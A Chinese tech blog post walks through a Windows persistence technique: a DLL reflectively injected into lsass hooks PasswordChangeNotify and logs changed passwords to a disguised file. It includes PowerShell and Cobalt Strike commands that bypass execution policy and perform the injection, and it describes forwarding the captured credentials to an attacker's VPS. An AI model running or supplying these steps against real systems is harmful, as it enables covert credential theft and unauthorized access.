您现在的位置是:首页 >技术杂谈 >权限维持-HOOK-DLL加载网站首页技术杂谈

权限维持-HOOK-DLL加载

简介权限维持-HOOK-DLL加载

前言

继续来研究关于权限维持的方法,这里希望与各位一起加油。

这里的HOOK其实指的就是Hook PasswordChangeNotify

其中PasswordChangeNotify是一个函数,如果修改的密码符合要求,那么PasswordChangeNotify在系统上同步更新密码,然后我们要做的就是将他的执行流定义到我们的PasswordChangeNotifyHook上面,所以讲到这里大家也明白了吧,我们是用他来获得主机修改的密码和用户名。

注:单机环境和域环境都可以使用

复现

1.整理工具

这里我们需要去把这两个下过来

https://github.com/clymb3r/Misc-Windows-Hacking

PowerShell/Invoke-ReflectivePEInjection.ps1 at master · clymb3r/PowerShell · GitHub

misc-windows-hacking下载好后,使用Visual Studio Install来编译他

然后我们要设置为在静态库中使用MFC,然后这里遇到了两个问题,可以参考

版本问题  组件问题

然后先别急着生成,我们先设置一下HookPasswordChage.cpp,这里他默认是将修改的账号密码保存到这里,这里修改一下,我是修改成c:\windows\.webconfig.log

然后这里记得选择

 

然后生成的文件会在这里

2.利用

使用本地

将HookPasswordChange.dll和Invoke-ReflectivePEInjection.ps1上传

直接执行就好了

注:需要在powershell中执行

Set-ExecutionPolicy bypass
Import-Module .Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass

cs复现

首先将将HookPasswordChange.dll和Invoke-ReflectivePEInjection.ps1上传

至于为什么要这么搞,因为他是没有Invoke-ReflectivePEInjection这个命令的,需要我们导入然后呢,cs可不会让你这样一个个搞,所以我们只能三合一了。

shell powershell -ExecutionPolicy Bypass -Command "& {Set-ExecutionPolicy bypass; Import-Module .Invoke-ReflectivePEInjection.ps1; Invoke-ReflectivePEInjection -PEPath ./HookPasswordChange.dll -procname lsass}"

然后这里我们修改密码,然后去查看C:Windows.webconfig.log文件,可以看到我们更改的内容

 

 升级puls版

既然我们上面说了,他是将修改密码的流量转发到文件中,假如他出网的话,那么我们为什么不能直接转发到我们的端口中,就算不出网,我们也能用一些机子做一些中转不就可以了。

这里我们看一下puls版本的,看到他这里只是加请求,下面可以写我们的vps的地址和设定的端口。 

但是这时候发现他执行不成功,这是因为这个使用vs2022编译,机子是没有msvcp140.dall这个文件的,是一个硬伤,我尝试将本机msvcp140.dll,上传到他的system32目录中,但还是不行,这个问题我暂时没有解决,所以呢,算是提一嘴。

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。